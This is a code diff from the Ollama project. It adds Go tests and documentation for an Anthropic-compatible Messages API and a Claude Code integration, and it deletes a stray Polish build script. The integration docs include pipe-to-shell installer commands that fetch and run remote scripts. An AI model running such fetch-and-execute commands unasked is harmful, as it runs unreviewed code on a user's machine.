+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	assistantMsg := result.Messages[1]
+	if assistantMsg.Thinking != "Let me think about this..." {
+		t.Errorf("expected thinking content, got %q", assistantMsg.Thinking)
+	}
+}
+
+func TestFromMessagesRequest_ToolUseMissingID(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []any{
+					map[string]any{
+						"type": "tool_use",
+						"name": "get_weather",
+					},
+				},
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for missing tool_use id")
+	}
+	if err.Error() != "tool_use block missing required 'id' field" {
+		t.Errorf("unexpected error message: %v", err)
+	}
+}
+
+func TestFromMessagesRequest_ToolUseMissingName(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []any{
+					map[string]any{
+						"type": "tool_use",
+						"id":   "call_123",
+					},
+				},
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for missing tool_use name")
+	}
+	if err.Error() != "tool_use block missing required 'name' field" {
+		t.Errorf("unexpected error message: %v", err)
+	}
+}
+
+func TestFromMessagesRequest_InvalidToolSchema(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: "Hello"}},
+		Tools: []Tool{
+			{
+				Name:        "bad_tool",
+				InputSchema: json.RawMessage(`{invalid json`),
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for invalid tool schema")
+	}
+}
+
+func TestToMessagesResponse_Basic(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: "Hello there!",
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics: api.Metrics{
+			PromptEvalCount: 10,
+			EvalCount:       5,
+		},
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if result.ID != "msg_123" {
+		t.Errorf("expected ID 'msg_123', got %q", result.ID)
+	}
+	if result.Type != "message" {
+		t.Errorf("expected type 'message', got %q", result.Type)
+	}
+	if result.Role != "assistant" {
+		t.Errorf("expected role 'assistant', got %q", result.Role)
+	}
+	if len(result.Content) != 1 {
+		t.Fatalf("expected 1 content block, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "text" || result.Content[0].Text == nil || *result.Content[0].Text != "Hello there!" {
+		t.Errorf("unexpected content: %+v", result.Content[0])
+	}
+	if result.StopReason != "end_turn" {
+		t.Errorf("expected stop_reason 'end_turn', got %q", result.StopReason)
+	}
+	if result.Usage.InputTokens != 10 || result.Usage.OutputTokens != 5 {
+		t.Errorf("unexpected usage: %+v", result.Usage)
+	}
+}
+
+func TestToMessagesResponse_WithToolCalls(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_123",
+					Function: api.ToolCallFunction{
+						Name:      "get_weather",
+						Arguments: testArgs(map[string]any{"location": "Paris"}),
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if len(result.Content) != 1 {
+		t.Fatalf("expected 1 content block, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "tool_use" {
+		t.Errorf("expected type 'tool_use', got %q", result.Content[0].Type)
+	}
+	if result.Content[0].ID != "call_123" {
+		t.Errorf("expected ID 'call_123', got %q", result.Content[0].ID)
+	}
+	if result.Content[0].Name != "get_weather" {
+		t.Errorf("expected name 'get_weather', got %q", result.Content[0].Name)
+	}
+	if result.StopReason != "tool_use" {
+		t.Errorf("expected stop_reason 'tool_use', got %q", result.StopReason)
+	}
+}
+
+func TestToMessagesResponse_WithThinking(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:     "assistant",
+			Content:  "The answer is 42.",
+			Thinking: "Let me think about this...",
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if len(result.Content) != 2 {
+		t.Fatalf("expected 2 content blocks, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "thinking" {
+		t.Errorf("expected first block type 'thinking', got %q", result.Content[0].Type)
+	}
+	if result.Content[0].Thinking == nil || *result.Content[0].Thinking != "Let me think about this..." {
+		t.Errorf("unexpected thinking content: %v", result.Content[0].Thinking)
+	}
+	if result.Content[1].Type != "text" {
+		t.Errorf("expected second block type 'text', got %q", result.Content[1].Type)
+	}
+}
+
+func TestMapStopReason(t *testing.T) {
+	tests := []struct {
+		reason       string
+		hasToolCalls bool
+		want         string
+	}{
+		{"stop", false, "end_turn"},
+		{"length", false, "max_tokens"},
+		{"stop", true, "tool_use"},
+		{"other", false, "stop_sequence"},
+		{"", false, ""},
+	}
+
+	for _, tt := range tests {
+		got := mapStopReason(tt.reason, tt.hasToolCalls)
+		if got != tt.want {
+			t.Errorf("mapStopReason(%q, %v) = %q, want %q", tt.reason, tt.hasToolCalls, got, tt.want)
+		}
+	}
+}
+
+func TestNewError(t *testing.T) {
+	tests := []struct {
+		code int
+		want string
+	}{
+		{400, "invalid_request_error"},
+		{401, "authentication_error"},
+		{403, "permission_error"},
+		{404, "not_found_error"},
+		{429, "rate_limit_error"},
+		{500, "api_error"},
+		{503, "overloaded_error"},
+		{529, "overloaded_error"},
+	}
+
+	for _, tt := range tests {
+		result := NewError(tt.code, "test message")
+		if result.Type != "error" {
+			t.Errorf("NewError(%d) type = %q, want 'error'", tt.code, result.Type)
+		}
+		if result.Error.Type != tt.want {
+			t.Errorf("NewError(%d) error.type = %q, want %q", tt.code, result.Error.Type, tt.want)
+		}
+		if result.Error.Message != "test message" {
+			t.Errorf("NewError(%d) message = %q, want 'test message'", tt.code, result.Error.Message)
+		}
+		if result.RequestID == "" {
+			t.Errorf("NewError(%d) request_id should not be empty", tt.code)
+		}
+	}
+}
+
+func TestGenerateMessageID(t *testing.T) {
+	id1 := GenerateMessageID()
+	id2 := GenerateMessageID()
+
+	if id1 == "" {
+		t.Error("GenerateMessageID returned empty string")
+	}
+	if id1 == id2 {
+		t.Error("GenerateMessageID returned duplicate IDs")
+	}
+	if len(id1) < 10 {
+		t.Errorf("GenerateMessageID returned short ID: %q", id1)
+	}
+	if id1[:4] != "msg_" {
+		t.Errorf("GenerateMessageID should start with 'msg_', got %q", id1[:4])
+	}
+}
+
+func TestStreamConverter_Basic(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model")
+
+	// First chunk
+	resp1 := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: "Hello",
+		},
+		Metrics: api.Metrics{PromptEvalCount: 10},
+	}
+
+	events1 := conv.Process(resp1)
+	if len(events1) < 3 {
+		t.Fatalf("expected at least 3 events for first chunk, got %d", len(events1))
+	}
+
+	// Should have message_start, content_block_start, content_block_delta
+	if events1[0].Event != "message_start" {
+		t.Errorf("expected first event 'message_start', got %q", events1[0].Event)
+	}
+	if events1[1].Event != "content_block_start" {
+		t.Errorf("expected second event 'content_block_start', got %q", events1[1].Event)
+	}
+	if events1[2].Event != "content_block_delta" {
+		t.Errorf("expected third event 'content_block_delta', got %q", events1[2].Event)
+	}
+
+	// Final chunk
+	resp2 := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: " world!",
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics:    api.Metrics{EvalCount: 5},
+	}
+
+	events2 := conv.Process(resp2)
+
+	// Should have content_block_delta, content_block_stop, message_delta, message_stop
+	hasStop := false
+	for _, e := range events2 {
+		if e.Event == "message_stop" {
+			hasStop = true
+		}
+	}
+	if !hasStop {
+		t.Error("expected message_stop event in final chunk")
+	}
+}
+
+func TestStreamConverter_WithToolCalls(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model")
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_123",
+					Function: api.ToolCallFunction{
+						Name:      "get_weather",
+						Arguments: testArgs(map[string]any{"location": "Paris"}),
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics:    api.Metrics{PromptEvalCount: 10, EvalCount: 5},
+	}
+
+	events := conv.Process(resp)
+
+	hasToolStart := false
+	hasToolDelta := false
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					hasToolStart = true
+				}
+			}
+		}
+		if e.Event == "content_block_delta" {
+			if delta, ok := e.Data.(ContentBlockDeltaEvent); ok {
+				if delta.Delta.Type == "input_json_delta" {
+					hasToolDelta = true
+				}
+			}
+		}
+	}
+
+	if !hasToolStart {
+		t.Error("expected tool_use content_block_start event")
+	}
+	if !hasToolDelta {
+		t.Error("expected input_json_delta event")
+	}
+}
+
+func TestStreamConverter_ToolCallWithUnmarshalableArgs(t *testing.T) {
+	// Test that unmarshalable arguments (like channels) are handled gracefully
+	// and don't cause a panic or corrupt stream
+	conv := NewStreamConverter("msg_123", "test-model")
+
+	// Create a channel which cannot be JSON marshaled
+	unmarshalable := make(chan int)
+	badArgs := api.NewToolCallFunctionArguments()
+	badArgs.Set("channel", unmarshalable)
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_bad",
+					Function: api.ToolCallFunction{
+						Name:      "bad_function",
+						Arguments: badArgs,
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	// Should not panic and should skip the unmarshalable tool call
+	events := conv.Process(resp)
+
+	// Verify no tool_use block was started (since marshal failed before block start)
+	hasToolStart := false
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					hasToolStart = true
+				}
+			}
+		}
+	}
+
+	if hasToolStart {
+		t.Error("expected no tool_use block when arguments cannot be marshaled")
+	}
+}
+
+func TestStreamConverter_MultipleToolCallsWithMixedValidity(t *testing.T) {
+	// Test that valid tool calls still work when mixed with invalid ones
+	conv := NewStreamConverter("msg_123", "test-model")
+
+	unmarshalable := make(chan int)
+	badArgs := api.NewToolCallFunctionArguments()
+	badArgs.Set("channel", unmarshalable)
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_good",
+					Function: api.ToolCallFunction{
+						Name:      "good_function",
+						Arguments: testArgs(map[string]any{"location": "Paris"}),
+					},
+				},
+				{
+					ID: "call_bad",
+					Function: api.ToolCallFunction{
+						Name:      "bad_function",
+						Arguments: badArgs,
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	events := conv.Process(resp)
+
+	// Count tool_use blocks - should only have 1 (the valid one)
+	toolStartCount := 0
+	toolDeltaCount := 0
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					toolStartCount++
+					if start.ContentBlock.Name != "good_function" {
+						t.Errorf("expected tool name 'good_function', got %q", start.ContentBlock.Name)
+					}
+				}
+			}
+		}
+		if e.Event == "content_block_delta" {
+			if delta, ok := e.Data.(ContentBlockDeltaEvent); ok {
+				if delta.Delta.Type == "input_json_delta" {
+					toolDeltaCount++
+				}
+			}
+		}
+	}
+
+	if toolStartCount != 1 {
+		t.Errorf("expected 1 tool_use block, got %d", toolStartCount)
+	}
+	if toolDeltaCount != 1 {
+		t.Errorf("expected 1 input_json_delta, got %d", toolDeltaCount)
+	}
+}
+
+// TestContentBlockJSON_EmptyFieldsPresent verifies that empty text and thinking fields
+// are serialized in JSON output. The Anthropic SDK requires these fields to be present
+// (even when empty) in content_block_start events to properly accumulate streaming deltas.
+// Without these fields, the SDK throws: "TypeError: unsupported operand type(s) for +=: 'NoneType' and 'str'"
+func TestContentBlockJSON_EmptyFieldsPresent(t *testing.T) {
+	tests := []struct {
+		name     string
+		block    ContentBlock
+		wantKeys []string
+	}{
+		{
+			name: "text block includes empty text field",
+			block: ContentBlock{
+				Type: "text",
+				Text: ptr(""),
+			},
+			wantKeys: []string{"type", "text"},
+		},
+		{
+			name: "thinking block includes empty thinking field",
+			block: ContentBlock{
+				Type:     "thinking",
+				Thinking: ptr(""),
+			},
+			wantKeys: []string{"type", "thinking"},
+		},
+		{
+			name: "text block with content",
+			block: ContentBlock{
+				Type: "text",
+				Text: ptr("hello"),
+			},
+			wantKeys: []string{"type", "text"},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			data, err := json.Marshal(tt.block)
+			if err != nil {
+				t.Fatalf("failed to marshal: %v", err)
+			}
+
+			var result map[string]any
+			if err := json.Unmarshal(data, &result); err != nil {
+				t.Fatalf("failed to unmarshal: %v", err)
+			}
+
+			for _, key := range tt.wantKeys {
+				if _, ok := result[key]; !ok {
+					t.Errorf("expected key %q to be present in JSON output, got: %s", key, string(data))
+				}
+			}
+		})
+	}
+}
+
+// TestStreamConverter_ContentBlockStartIncludesEmptyFields verifies that content_block_start
+// events include the required empty fields for SDK compatibility.
+func TestStreamConverter_ContentBlockStartIncludesEmptyFields(t *testing.T) {
+	t.Run("text block start includes empty text", func(t *testing.T) {
+		conv := NewStreamConverter("msg_123", "test-model")
+
+		resp := api.ChatResponse{
+			Model:   "test-model",
+			Message: api.Message{Role: "assistant", Content: "hello"},
+		}
+
+		events := conv.Process(resp)
+
+		var foundTextStart bool
+		for _, e := range events {
+			if e.Event == "content_block_start" {
+				if start, ok := e.Data.(ContentBlockStartEvent); ok {
+					if start.ContentBlock.Type == "text" {
+						foundTextStart = true
+						// Marshal and verify the text field is present
+						data, _ := json.Marshal(start)
+						var result map[string]any
+						json.Unmarshal(data, &result)
+						cb := result["content_block"].(map[string]any)
+						if _, ok := cb["text"]; !ok {
+							t.Error("content_block_start for text should include 'text' field")
+						}
+					}
+				}
+			}
+		}
+
+		if !foundTextStart {
+			t.Error("expected text content_block_start event")
+		}
+	})
+
+	t.Run("thinking block start includes empty thinking", func(t *testing.T) {
+		conv := NewStreamConverter("msg_123", "test-model")
+
+		resp := api.ChatResponse{
+			Model:   "test-model",
+			Message: api.Message{Role: "assistant", Thinking: "let me think..."},
+		}
+
+		events := conv.Process(resp)
+
+		var foundThinkingStart bool
+		for _, e := range events {
+			if e.Event == "content_block_start" {
+				if start, ok := e.Data.(ContentBlockStartEvent); ok {
+					if start.ContentBlock.Type == "thinking" {
+						foundThinkingStart = true
+						data, _ := json.Marshal(start)
+						var result map[string]any
+						json.Unmarshal(data, &result)
+						cb := result["content_block"].(map[string]any)
+						if _, ok := cb["thinking"]; !ok {
+							t.Error("content_block_start for thinking should include 'thinking' field")
+						}
+					}
+				}
+			}
+		}
+
+		if !foundThinkingStart {
+			t.Error("expected thinking content_block_start event")
+		}
+	})
+}

build_custom.sh

@@ -1,44 +0,0 @@
----
-
-### 2. `build_custom.sh` (Skrypt automatyzujący)
-To jest opcja "Pro". Zamiast wklepywać te komendy ręcznie, tworzysz skrypt bashowy. Jak będziesz chciał zaktualizować Ollamę za pół roku, po prostu odpalisz `./build_custom.sh` i pójdziesz na kawę.
-
-**Zawartość pliku:**
-```bash
-#!/bin/bash
-
-# Skrypt budowania Ollama dla Xeon X5675 (No AVX) + GTX 1070
-# Uruchom to w głównym katalogu repozytorium
-
-echo "--- [1/4] Czyszczenie poprzedniego builda ---"
-rm -rf build
-go clean -cache
-
-echo "--- [2/4] Konfiguracja CMake (CUDA ON, Vulkan OFF) ---"
-# Flagi kluczowe dla Twojego systemu
-cmake -B build \
-    -DOLLAMA_CUDA=ON \
-    -DOLLAMA_VULKAN=OFF \
-    -DGGML_VULKAN=OFF \
-    -DCMAKE_DISABLE_FIND_PACKAGE_Vulkan=TRUE
-
-if [ $? -ne 0 ]; then
-    echo "Błąd konfiguracji CMake!"
-    exit 1
-fi
-
-echo "--- [3/4] Kompilacja silnika (Tryb bezpieczny -j1) ---"
-# Używamy -j1 bo przy OC Twój Xeon może być niestabilny przy kompilacji
-cmake --build build -j1
-
-if [ $? -ne 0 ]; then
-    echo "Błąd kompilacji!"
-    exit 1
-fi
-
-echo "--- [4/4] Budowanie pliku binarnego Go ---"
-go build .
-
-echo "--- GOTOWE! ---"
-echo "Twój plik 'ollama' jest gotowy."
-echo "Aby zainstalować wpisz: sudo mv ollama /usr/bin/ollama"

cmd/cmd.go

@@ -45,7 +45,6 @@ import (
 	"github.com/ollama/ollama/types/model"
 	"github.com/ollama/ollama/types/syncmap"
 	"github.com/ollama/ollama/version"
-	xcmd "github.com/ollama/ollama/x/cmd"
 )
 
 const ConnectInstructions = "To sign in, navigate to:\n    %s\n\n"
@@ -518,9 +517,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 		return generateEmbedding(cmd, name, opts.Prompt, opts.KeepAlive, truncate, dimensions)
 	}
 
-	// Check for experimental flag
-	isExperimental, _ := cmd.Flags().GetBool("experimental")
-
 	if interactive {
 		if err := loadOrUnloadModel(cmd, &opts); err != nil {
 			var sErr api.AuthorizationError
@@ -547,11 +543,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 			}
 		}
 
-		// Use experimental agent loop with
-		if isExperimental {
-			return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive)
-		}
-
 		return generateInteractive(cmd, opts)
 	}
 	return generate(cmd, opts)
@@ -1763,7 +1754,6 @@ func NewCLI() *cobra.Command {
 	runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)")
 	runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
 	runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
-	runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
 
 	stopCmd := &cobra.Command{
 		Use:     "stop MODEL",

cmd/interactive.go

@@ -40,7 +40,6 @@ func generateInteractive(cmd *cobra.Command, opts runOptions) error {
 		fmt.Fprintln(os.Stderr, "  /bye            Exit")
 		fmt.Fprintln(os.Stderr, "  /?, /help       Help for a command")
 		fmt.Fprintln(os.Stderr, "  /? shortcuts    Help for keyboard shortcuts")
-
 		fmt.Fprintln(os.Stderr, "")
 		fmt.Fprintln(os.Stderr, "Use \"\"\" to begin a multi-line message.")
 

docs/README.md

@@ -14,6 +14,7 @@
 * [API Reference](https://docs.ollama.com/api)
 * [Modelfile Reference](https://docs.ollama.com/modelfile)
 * [OpenAI Compatibility](https://docs.ollama.com/api/openai-compatibility)
+* [Anthropic Compatibility](./api/anthropic-compatibility.mdx)
 
 ### Resources
 

docs/api/anthropic-compatibility.mdx

@@ -0,0 +1,406 @@
+---
+title: Anthropic compatibility
+---
+
+Ollama provides compatibility with the [Anthropic Messages API](https://docs.anthropic.com/en/api/messages) to help connect existing applications to Ollama, including tools like Claude Code.
+
+## Recommended models
+
+For coding use cases, models like `glm-4.7:cloud`, `minimax-m2.1:cloud`, and `qwen3-coder` are recommended.
+
+Pull a model before use:
+```shell
+ollama pull qwen3-coder
+ollama pull glm-4.7:cloud
+```
+
+## Usage
+
+### Environment variables
+
+To use Ollama with tools that expect the Anthropic API (like Claude Code), set these environment variables:
+
+```shell
+export ANTHROPIC_BASE_URL=http://localhost:11434
+export ANTHROPIC_API_KEY=ollama  # required but ignored
+```
+
+### Simple `/v1/messages` example
+
+<CodeGroup dropdown>
+
+```python basic.py
+import anthropic
+
+client = anthropic.Anthropic(
+    base_url='http://localhost:11434',
+    api_key='ollama',  # required but ignored
+)
+
+message = client.messages.create(
+    model='qwen3-coder',
+    max_tokens=1024,
+    messages=[
+        {'role': 'user', 'content': 'Hello, how are you?'}
+    ]
+)
+print(message.content[0].text)
+```
+
+```javascript basic.js
+import Anthropic from "@anthropic-ai/sdk";
+
+const anthropic = new Anthropic({
+  baseURL: "http://localhost:11434",
+  apiKey: "ollama", // required but ignored
+});
+
+const message = await anthropic.messages.create({
+  model: "qwen3-coder",
+  max_tokens: 1024,
+  messages: [{ role: "user", content: "Hello, how are you?" }],
+});
+
+console.log(message.content[0].text);
+```
+
+```shell basic.sh
+curl -X POST http://localhost:11434/v1/messages \
+-H "Content-Type: application/json" \
+-H "x-api-key: ollama" \
+-H "anthropic-version: 2023-06-01" \
+-d '{
+  "model": "qwen3-coder",
+  "max_tokens": 1024,
+  "messages": [{ "role": "user", "content": "Hello, how are you?" }]
+}'
+```
+
+</CodeGroup>
+
+### Streaming example
+
+<CodeGroup dropdown>
+
+```python streaming.py
+import anthropic
+
+client = anthropic.Anthropic(
+    base_url='http://localhost:11434',
+    api_key='ollama',
+)
+
+with client.messages.stream(
+    model='qwen3-coder',
+    max_tokens=1024,
+    messages=[{'role': 'user', 'content': 'Count from 1 to 10'}]
+) as stream:
+    for text in stream.text_stream:
+        print(text, end='', flush=True)
+```
+
+```javascript streaming.js
+import Anthropic from "@anthropic-ai/sdk";
+
+const anthropic = new Anthropic({
+  baseURL: "http://localhost:11434",
+  apiKey: "ollama",
+});
+
+const stream = await anthropic.messages.stream({
+  model: "qwen3-coder",
+  max_tokens: 1024,
+  messages: [{ role: "user", content: "Count from 1 to 10" }],
+});
+
+for await (const event of stream) {
+  if (
+    event.type === "content_block_delta" &&
+    event.delta.type === "text_delta"
+  ) {
+    process.stdout.write(event.delta.text);
+  }
+}
+```
+
+```shell streaming.sh
+curl -X POST http://localhost:11434/v1/messages \
+-H "Content-Type: application/json" \
+-d '{
+  "model": "qwen3-coder",
+  "max_tokens": 1024,
+  "stream": true,
+  "messages": [{ "role": "user", "content": "Count from 1 to 10" }]
+}'
+```
+
+</CodeGroup>
+
+### Tool calling example
+
+<CodeGroup dropdown>
+
+```python tools.py
+import anthropic
+
+client = anthropic.Anthropic(
+    base_url='http://localhost:11434',
+    api_key='ollama',
+)
+
+message = client.messages.create(
+    model='qwen3-coder',
+    max_tokens=1024,
+    tools=[
+        {
+            'name': 'get_weather',
+            'description': 'Get the current weather in a location',
+            'input_schema': {
+                'type': 'object',
+                'properties': {
+                    'location': {
+                        'type': 'string',
+                        'description': 'The city and state, e.g. San Francisco, CA'
+                    }
+                },
+                'required': ['location']
+            }
+        }
+    ],
+    messages=[{'role': 'user', 'content': "What's the weather in San Francisco?"}]
+)
+
+for block in message.content:
+    if block.type == 'tool_use':
+        print(f'Tool: {block.name}')
+        print(f'Input: {block.input}')
+```
+
+```javascript tools.js
+import Anthropic from "@anthropic-ai/sdk";
+
+const anthropic = new Anthropic({
+  baseURL: "http://localhost:11434",
+  apiKey: "ollama",
+});
+
+const message = await anthropic.messages.create({
+  model: "qwen3-coder",
+  max_tokens: 1024,
+  tools: [
+    {
+      name: "get_weather",
+      description: "Get the current weather in a location",
+      input_schema: {
+        type: "object",
+        properties: {
+          location: {
+            type: "string",
+            description: "The city and state, e.g. San Francisco, CA",
+          },
+        },
+        required: ["location"],
+      },
+    },
+  ],
+  messages: [{ role: "user", content: "What's the weather in San Francisco?" }],
+});
+
+for (const block of message.content) {
+  if (block.type === "tool_use") {
+    console.log("Tool:", block.name);
+    console.log("Input:", block.input);
+  }
+}
+```
+
+```shell tools.sh
+curl -X POST http://localhost:11434/v1/messages \
+-H "Content-Type: application/json" \
+-d '{
+  "model": "qwen3-coder",
+  "max_tokens": 1024,
+  "tools": [
+    {
+      "name": "get_weather",
+      "description": "Get the current weather in a location",
+      "input_schema": {
+        "type": "object",
+        "properties": {
+          "location": {
+            "type": "string",
+            "description": "The city and state"
+          }
+        },
+        "required": ["location"]
+      }
+    }
+  ],
+  "messages": [{ "role": "user", "content": "What is the weather in San Francisco?" }]
+}'
+```
+
+</CodeGroup>
+
+## Using with Claude Code
+
+[Claude Code](https://code.claude.com/docs/en/overview) can be configured to use Ollama as its backend:
+
+```shell
+ANTHROPIC_BASE_URL=http://localhost:11434 ANTHROPIC_API_KEY=ollama claude --model qwen3-coder
+```
+
+Or set the environment variables in your shell profile:
+
+```shell
+export ANTHROPIC_BASE_URL=http://localhost:11434
+export ANTHROPIC_API_KEY=ollama
+```
+
+Then run Claude Code with any Ollama model:
+
+```shell
+# Local models
+claude --model qwen3-coder
+claude --model gpt-oss:20b
+
+# Cloud models
+claude --model glm-4.7:cloud
+claude --model minimax-m2.1:cloud
+```
+
+## Endpoints
+
+### `/v1/messages`
+
+#### Supported features
+
+- [x] Messages
+- [x] Streaming
+- [x] System prompts
+- [x] Multi-turn conversations
+- [x] Vision (images)
+- [x] Tools (function calling)
+- [x] Tool results
+- [x] Thinking/extended thinking
+
+#### Supported request fields
+
+- [x] `model`
+- [x] `max_tokens`
+- [x] `messages`
+  - [x] Text `content`
+  - [x] Image `content` (base64)
+  - [x] Array of content blocks
+  - [x] `tool_use` blocks
+  - [x] `tool_result` blocks
+  - [x] `thinking` blocks
+- [x] `system` (string or array)
+- [x] `stream`
+- [x] `temperature`
+- [x] `top_p`
+- [x] `top_k`
+- [x] `stop_sequences`
+- [x] `tools`
+- [x] `thinking`
+- [ ] `tool_choice`
+- [ ] `metadata`
+
+#### Supported response fields
+
+- [x] `id`
+- [x] `type`
+- [x] `role`
+- [x] `model`
+- [x] `content` (text, tool_use, thinking blocks)
+- [x] `stop_reason` (end_turn, max_tokens, tool_use)
+- [x] `usage` (input_tokens, output_tokens)
+
+#### Streaming events
+
+- [x] `message_start`
+- [x] `content_block_start`
+- [x] `content_block_delta` (text_delta, input_json_delta, thinking_delta)
+- [x] `content_block_stop`
+- [x] `message_delta`
+- [x] `message_stop`
+- [x] `ping`
+- [x] `error`
+
+## Models
+
+Ollama supports both local and cloud models.
+
+### Local models
+
+Pull a local model before use:
+
+```shell
+ollama pull qwen3-coder
+```
+
+Recommended local models:
+- `qwen3-coder` - Excellent for coding tasks
+- `gpt-oss:20b` - Strong general-purpose model
+
+### Cloud models
+
+Cloud models are available immediately without pulling:
+
+- `glm-4.7:cloud` - High-performance cloud model
+- `minimax-m2.1:cloud` - Fast cloud model
+
+### Default model names
+
+For tooling that relies on default Anthropic model names such as `claude-3-5-sonnet`, use `ollama cp` to copy an existing model name:
+
+```shell
+ollama cp qwen3-coder claude-3-5-sonnet
+```
+
+Afterwards, this new model name can be specified in the `model` field:
+
+```shell
+curl http://localhost:11434/v1/messages \
+    -H "Content-Type: application/json" \
+    -d '{
+        "model": "claude-3-5-sonnet",
+        "max_tokens": 1024,
+        "messages": [
+            {
+                "role": "user",
+                "content": "Hello!"
+            }
+        ]
+    }'
+```
+
+## Differences from the Anthropic API
+
+### Behavior differences
+
+- API key is accepted but not validated
+- `anthropic-version` header is accepted but not used
+- Token counts are approximations based on the underlying model's tokenizer
+
+### Not supported
+
+The following Anthropic API features are not currently supported:
+
+| Feature | Description |
+|---------|-------------|
+| `/v1/messages/count_tokens` | Token counting endpoint |
+| `tool_choice` | Forcing specific tool use or disabling tools |
+| `metadata` | Request metadata (user_id) |
+| Prompt caching | `cache_control` blocks for caching prefixes |
+| Batches API | `/v1/messages/batches` for async batch processing |
+| Citations | `citations` content blocks |
+| PDF support | `document` content blocks with PDF files |
+| Server-sent errors | `error` events during streaming (errors return HTTP status) |
+
+### Partial support
+
+| Feature | Status |
+|---------|--------|
+| Image content | Base64 images supported; URL images not supported |
+| Extended thinking | Basic support; `budget_tokens` accepted but not enforced |

docs/docs.json

@@ -32,7 +32,9 @@
     "codeblocks": "system"
   },
   "contextual": {
-    "options": ["copy"]
+    "options": [
+      "copy"
+    ]
   },
   "navbar": {
     "links": [
@@ -52,7 +54,9 @@
       "display": "simple"
     },
     "examples": {
-      "languages": ["curl"]
+      "languages": [
+        "curl"
+      ]
     }
   },
   "redirects": [
@@ -97,6 +101,7 @@
           {
             "group": "Integrations",
             "pages": [
+              "/integrations/claude-code",
               "/integrations/vscode",
               "/integrations/jetbrains",
               "/integrations/codex",
@@ -139,7 +144,8 @@
               "/api/streaming",
               "/api/usage",
               "/api/errors",
-              "/api/openai-compatibility"
+              "/api/openai-compatibility",
+              "/api/anthropic-compatibility"
             ]
           },
           {

docs/integrations/claude-code.mdx

@@ -0,0 +1,69 @@
+---
+title: Claude Code
+---
+
+## Install
+
+Install [Claude Code](https://code.claude.com/docs/en/overview):
+
+<CodeGroup>
+
+```shell macOS / Linux
+curl -fsSL https://claude.ai/install.sh | bash
+```
+
+```powershell Windows
+irm https://claude.ai/install.ps1 | iex
+```
+
+</CodeGroup>
+
+## Usage with Ollama
+
+Claude Code connects to Ollama using the Anthropic-compatible API.
+
+1. Set the environment variables:
+
+```shell
+export ANTHROPIC_BASE_URL=http://localhost:11434
+export ANTHROPIC_API_KEY=ollama
+```
+
+2. Run Claude Code with an Ollama model:
+
+```shell
+claude --model qwen3-coder
+```
+
+Or run with environment variables inline:
+
+```shell
+ANTHROPIC_BASE_URL=http://localhost:11434 ANTHROPIC_API_KEY=ollama claude --model qwen3-coder
+```
+
+## Connecting to ollama.com
+
+1. Create an [API key](https://ollama.com/settings/keys) on ollama.com
